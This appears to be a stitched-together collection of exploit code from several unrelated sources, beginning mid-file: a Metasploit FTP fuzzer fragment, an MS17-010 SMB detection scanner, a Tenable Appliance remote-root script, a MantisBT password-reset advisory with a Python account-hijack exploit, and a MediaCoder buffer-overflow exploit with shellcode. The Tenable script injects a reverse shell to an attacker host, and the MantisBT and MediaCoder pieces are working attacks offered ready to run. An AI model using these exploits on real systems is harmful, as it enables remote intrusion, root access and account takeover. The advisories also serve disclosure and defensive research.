:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}
print_status("Client connected : " + c.peerhost)
active_data_port_for_client(c, 20)
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
end
def on_client_close(c)
@state.delete(c)
end
def passive_data_port_for_client(c)
@state[c][:mode] = :passive
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
dport = s.getsockname[2]
@state[c][:passive_sock] = s
@state[c][:passive_port] = dport
end
@state[c][:passive_port]
end
def active_data_port_for_client(c,port)
@state[c][:mode] = :active
connector = Proc.new {
host = c.peerhost.dup
sock = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
}
@state[c][:active_connector] = connector
@state[c][:active_port] = port
end
def establish_data_connection(c)
begin
Timeout.timeout(20) do
if(@state[c][:mode] == :active)
return @state[c][:active_connector].call()
end
if(@state[c][:mode] == :passive)
return @state[c][:passive_sock].accept
end
end
rescue ::Exception => e
print_error("Failed to establish data connection: #{e.class} #{e}")
end
nil
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
return if not cmd
case cmd.upcase.strip
when 'USER'
@state[c][:user] = arg
send_response(c,arg,"USER",331," User name okay, need password")
return
when 'PASS'
@state[c][:pass] = arg
send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
return
when 'QUIT'
if (datastore['RESET'])
print_status("Resetting fuzz settings")
@fuzzsize = datastore['STARTSIZE']
@stepsize = datastore['STEPSIZE']
end
print_status("** Client disconnected **")
send_response(c,arg,"QUIT",221," User logged out")
return
when 'SYST'
send_response(c,arg,"SYST",215," UNIX Type: L8")
return
when 'TYPE'
send_response(c,arg,"TYPE",200," Type set to #{arg}")
return
when 'CWD'
send_response(c,arg,"CWD",250," CWD Command successful")
return
when 'PWD'
send_response(c,arg,"PWD",257," \"/\" is current directory.")
return
when 'REST'
send_response(c,arg,"REST",200," OK")
return
when 'XPWD'
send_response(c,arg,"PWD",257," \"/\" is current directory")
return
when 'SIZE'
send_response(c,arg,"SIZE",213," 1")
return
when 'MDTM'
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
return
when 'CDUP'
send_response(c,arg,"CDUP",257," \"/\" is current directory")
return
when 'PORT'
port = arg.split(',')[4,2]
if(not port and port.length == 2)
c.put("500 Illegal PORT command.\r\n")
return
end
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
active_data_port_for_client(c, port)
send_response(c,arg,"PORT",200," PORT command successful")
return
when 'PASV'
daddr = Rex::Socket.source_address(c.peerhost)
dport = passive_data_port_for_client(c)
@state[c][:daddr] = daddr
@state[c][:dport] = dport
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
dofuzz = fuzz_this_cmd("PASV")
code = 227
if datastore['ERROR']
code = 557
end
if (dofuzz==1)
send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
incr_fuzzsize()
else
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
end
return
when /^(LIST|NLST|LS)$/
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
code = 150
if datastore['ERROR']
code = 550
end
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
if datastore['ERROR']
code = 550
end
c.put("#{code} Directory send ok.\r\n")
strfile = "passwords.txt"
strfolder = "Secret files"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strfile = @fuzzdata + ".txt"
strfolder = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
dirlist = ""
if datastore['EXTRALINE']
extra = "\r\n"
else
extra = ""
end
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra
conn.put("total 2\r\n"+dirlist)
conn.close
return
when 'RETR'
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
strcontent = "blahblahblah"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strcontent = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
print_status(" - Sending data via data connection")
conn.put(strcontent)
c.put("226 Transfer complete\r\n")
conn.close
return
when /^(STOR|MKD|REM|DEL|RMD)$/
send_response(c,arg,cmd.upcase,500," Access denied")
return
when 'FEAT'
send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
return
when 'HELP'
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")
when 'SITE'
send_response(c,arg,"SITE",200," OK")
return
when 'NOOP'
send_response(c,arg,"NOOP",200," OK")
return
when 'ABOR'
send_response(c,arg,"ABOR",225," Abor command successful")
return
when 'ACCT'
send_response(c,arg,"ACCT",200," OK")
return
when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
return
when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")
return
end
return
end
def fuzz_this_cmd(cmd)
@fuzzcommands = datastore['FUZZCMDS'].split(",")
fuzzme = 0
@fuzzcommands.each do |thiscmd|
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
fuzzme = 1
end
end
if fuzzme==1
if datastore['CYCLIC']
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)
else
@fuzzdata = "A" * @fuzzsize
end
end
return fuzzme
end
def incr_fuzzsize
@stepsize = datastore['STEPSIZE'].to_i
@fuzzsize = @fuzzsize + @stepsize
if (@fuzzsize > datastore['ENDSIZE'].to_i)
@fuzzsize = datastore['ENDSIZE'].to_i
end
end
def send_response(c,arg,cmd,code,msg)
if arg.length > 40
showarg = arg[0,40] + "..."
else
showarg = arg
end
if cmd.length > 40
showcmd = cmd[0,40] + "..."
else
showcmd = cmd
end
dofuzz = fuzz_this_cmd(cmd)
if (dofuzz==1) && (cmd.upcase != "PASV")
paylen = @fuzzdata.length
if datastore['ERROR']
code = "550 "
end
if cmd=="FEAT"
@fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"
end
if cmd=="PWD"
@fuzzdata = " \"/"+@fuzzdata+"\" is current directory"
end
cmsg = code.to_s + " " + @fuzzdata
c.put("#{cmsg}\r\n")
print_status("* Fuzz data sent")
incr_fuzzsize()
else
cmsg = code.to_s + msg
cmsg = cmsg.strip
c.put("#{cmsg}\r\n")
end
return
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# auxiliary/scanner/smb/smb_ms_17_010
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 SMB RCE Detection',
'Description' => %q{
Uses information disclosure to determine if MS17-010 has been patched or not.
Specifically, it connects to the IPC$ tree and attempts a transaction on FID 0.
If the status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does
not have the MS17-010 patch.
This module does not require valid SMB credentials in default server
configurations. It can log on as the user "\" and connect to IPC$.
},
'Author' => [ 'Sean Dillon <sean.dillon@risksense.com>' ],
'References' =>
[
[ 'CVE', '2017-0143'],
[ 'CVE', '2017-0144'],
[ 'CVE', '2017-0145'],
[ 'CVE', '2017-0146'],
[ 'CVE', '2017-0147'],
[ 'CVE', '2017-0148'],
[ 'MSB', 'MS17-010'],
[ 'URL', 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx']
],
'License' => MSF_LICENSE
))
end
def run_host(ip)
begin
status = do_smb_probe(ip)
if status == "STATUS_INSUFF_SERVER_RESOURCES"
print_warning("Host is likely VULNERABLE to MS17-010!")
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$'
)
elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
# STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
print_good("Host does NOT appear vulnerable.")
else
print_bad("Unable to properly detect if host is vulnerable.")
end
rescue ::Interrupt
print_status("Exiting on interrupt.")
raise $!
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("An SMB Login Error occurred while connecting to the IPC$ tree.")
rescue ::Exception => e
vprint_error("#{e.class}: #{e.message}")
ensure
disconnect
end
end
def do_smb_probe(ip)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
ipc_share = "\\\\#{ip}\\IPC$"
simple.connect(ipc_share)
tree_id = simple.shares[ipc_share]
print_status("Connected to #{ipc_share} with TID = #{tree_id}")
# request transaction with fid = 0
pkt = make_smb_trans_ms17_010(tree_id)
sock.put(pkt)
bytes = sock.get_once
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
# convert error code to string
code = pkt['SMB'].v['ErrorClass']
smberr = Rex::Proto::SMB::Exceptions::ErrorCode.new
status = smberr.get_error(code)
print_status("Received #{status} with FID = 0")
status
end
def make_smb_trans_ms17_010(tree_id)
# make a raw transaction packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
# opcode 0x23 = PeekNamedPipe, fid = 0
setup = "\x23\x00\x00\x00"
setup_count = 2 # 2 words
trans = "\\PIPE\\\x00"
# calculate offsets to the SetupData payload
base_offset = pkt.to_s.length + (setup.length) - 4
param_offset = base_offset + trans.length
data_offset = param_offset # + 0
# packet baselines
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801 # 0xc803 would unicode
pkt['Payload']['SMB'].v['TreeID'] = tree_id
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload'].v['ParamCountMax'] = 0xffff
pkt['Payload'].v['DataCountMax'] = 0xffff
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataOffset'] = data_offset
# actual magic: PeekNamedPipe FID=0, \PIPE\
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup
pkt['Payload'].v['Payload'] = trans
pkt.to_s
end
end
#!/bin/bash
: '
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
fixed two security vulnerabilities in the web interface in release 4.5 so I
guess previous version are also vulnerable.
# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
# Date: 18/04/17
# Exploit Author: agix
# Vendor Homepage: https://www.tenable.com/
# Version: < 4.5
# Tested on: Tenable Appliance 3.5
tenable $ ./rce.sh
bash: no job control in this shell
bash-3.2# ls
app
appliancelicense.html
appliancelicense.pdf
appliancelicense.txt
images
includes
index.ara
js
lcelicense.html
lcelicense.pdf
lcelicense.txt
migrate
nessuslicense.html
nessuslicense.pdf
nessuslicense.txt
password.ara
pvslicense.html
pvslicense.pdf
pvslicense.txt
sclicense.html
sclicense.pdf
sclicense.txt
simpleupload.py
static
bash-3.2# id
uid=0(root) gid=0(root)
bash-3.2#
'
#!/bin/bash
TENABLE_IP="172.16.171.179"
YOUR_IP="172.16.171.1"
LISTEN_PORT=31337
curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
nc -l -p $LISTEN_PORT
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec
Vendor:
================
www.mantisbt.org
Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0
MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
Vulnerability Type:
===============================
Pre-Auth Remote Password Reset
CVE Reference:
==============
CVE-2017-7615
Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.
Vulnerable code:
In verify.php line 66:
if( $f_confirm_hash != $t_token_confirm_hash ) {
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}
This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.
e.g.
http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=
This will then allow you to change passwords and hijack ANY mantisbt accounts.
All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.
References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509
POC Video URL:
==============
https://vimeo.com/213144905
Exploit/POC:
=============
import cookielib,urllib,urllib2,time
print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'
IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")
TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='
values={}
account_update_token=''
#verify_user_id='1' #Admin = 1
#realname='administrator' #Must be known or guessed.
#REQUEST 1, get Mantis account_update_token
cookies = cookielib.CookieJar()
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
res = opener.open(TARGET)
arr=res.readlines()
for s in arr:
if 'account_update_token' in s:
break
#print s[61:-38]
ACCT_TOKEN=s[61:-38]
time.sleep(0.3)
#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
'account_update_token' : ACCT_TOKEN,
'realname' : realname,
'password' : passwd,
'password_confirm' : passwd}
data = urllib.urlencode(values)
opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))
response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()
#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)
Network Access:
===============
Remote
Severity:
=========
Critical
Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
#!/usr/bin/python
# Exploit Title : MediaCoder 0.8.48.5888 Local Buffer Overflow (SEH)
# CVE : CVE-2017-8869
# Exploit Author : Muhann4d @0xSecured
# Vendor Homepage : http://www.mediacoderhq.com
# Vulnerable Software: http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.48.5888.exe
# Vulnerable Version : 0.8.48.5888
# Fixed version : 0.8.49.5890 http://www.mediacoderhq.com/mirrors.html?file=MediaCoder-0.8.49.5890.exe
# Category : Local Buffer Overflow
# Tested on OS : Windows 7 Pro SP1 32bit
# How to : Open MediaCoder then drag & drop the .m3u file in it and then press the START button.
# or just write click on the .mu3 file .. open with .. MediaCoder
# Timeline :
# 2017-05-05: Vulnerability discovered, vendor has been contaced
# 2017-05-08: Vendor replied denying it .."I believe this was an old issue and no longer exists in the latest version"
# 2017-05-09: A POC sent to the vendor.
# 2017-05-11: New version is released. According to http://blog.mediacoderhq.com/changelog/
# 2017-06-26: Exploit released.
print "MediaCoder 0.8.48.5888 Local Exploit By Muhann4d @0xSecured"
from struct import pack
junk = "http://" + "\x41" * 361
nseh = pack('<I',0x909006eb)
seh = pack('<I',0x66017187)
nops= "\x90" * 20
#calc.exe
shell=("\xbe\xb6\x06\x32\x7a\xda\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x31\x31\x72\x13\x03\x72\x13\x83\xea\x4a\xe4\xc7\x86\x5a\x6b"
"\x27\x77\x9a\x0c\xa1\x92\xab\x0c\xd5\xd7\x9b\xbc\x9d\xba\x17"
"\x36\xf3\x2e\xac\x3a\xdc\x41\x05\xf0\x3a\x6f\x96\xa9\x7f\xee"
"\x14\xb0\x53\xd0\x25\x7b\xa6\x11\x62\x66\x4b\x43\x3b\xec\xfe"
"\x74\x48\xb8\xc2\xff\x02\x2c\x43\xe3\xd2\x4f\x62\xb2\x69\x16"
"\xa4\x34\xbe\x22\xed\x2e\xa3\x0f\xa7\xc5\x17\xfb\x36\x0c\x66"
"\x04\x94\x71\x47\xf7\xe4\xb6\x6f\xe8\x92\xce\x8c\x95\xa4\x14"
"\xef\x41\x20\x8f\x57\x01\x92\x6b\x66\xc6\x45\xff\x64\xa3\x02"
"\xa7\x68\x32\xc6\xd3\x94\xbf\xe9\x33\x1d\xfb\xcd\x97\x46\x5f"
"\x6f\x81\x22\x0e\x90\xd1\x8d\xef\x34\x99\x23\xfb\x44\xc0\x29"
"\xfa\xdb\x7e\x1f\xfc\xe3\x80\x0f\x95\xd2\x0b\xc0\xe2\xea\xd9"
"\xa5\x13\x1a\xd0\x33\x83\x85\x81\x7e\xc9\x35\x7c\xbc\xf4\xb5"
"\x75\x3c\x03\xa5\xff\x39\x4f\x61\x13\x33\xc0\x04\x13\xe0\xe1"
"\x0c\x70\x67\x72\xcc\x59\x02\xf2\x77\xa6")
junkD = "D" * (2960 - (len(junk + nseh + seh + nops + shell)))
exploit = junk + nseh + seh + nops + shell + junkD
try:
file= open("Exploit.m3u",'w')
file.write(exploit)
file.close()
raw_input("\nExploit has been created!\n")
except:
print "There has been an Error"